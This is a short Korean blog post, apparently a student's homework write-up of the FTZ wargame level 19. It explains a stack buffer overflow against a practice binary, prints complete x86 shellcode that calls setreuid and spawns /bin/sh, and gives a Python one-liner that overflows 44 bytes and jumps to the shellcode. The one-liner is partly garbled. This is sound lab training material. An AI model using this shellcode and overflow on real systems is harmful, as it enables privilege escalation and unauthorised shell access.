Layer7 20과제 -F.T.Z level 19 풀이-

2019. 7. 12. 04:39FTZ

level18처럼 코드 길이가 엄청 길까봐 식겁했네요.

다행이에요. 짧아서

어셈블리 코드입니다.

 

오늘은 뭔가 소스코드가 비어있다는 느낌을 받으시지 않나요?

여태까지의 소스 코드와는 다르게 setreuid()나 system("/bin/sh")와 같은 함수들이 없습니다.

 

아무래도 쉘코드를 만들 있는지가 관건인거 같습니다.

 

 

먼저 레벨 20의 권한이 있어야 쉘을 실행시킬 수 있으므로, 쉘을 실행시키는 코드의 앞쪽에

setreuid의 기계어 코드를 넣어야합니다.

따라서 setreuid(3100,3100);과 같이 만들면 됩니다.

 

이 값이 바로 setreuid() 함수의 기능이 포함된 쉘코드입니다.

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

 

 

쉘코드

 

환경 변수를 설정하고 프로그램을 만들어서 값을 알아냅니다

 

40을 할당받음

esp40+4==44  ret에 무언가를 넣어주기 위해서는

44 만큼 덮어주어야할거 같아요./

 (python -c 'print "A"*]

'

44+"\xb4\xfa\xff\xbf"';cat)|./attackme

 

드디어 이제 마지막까지 하나 남았습니다.

we are just regular guys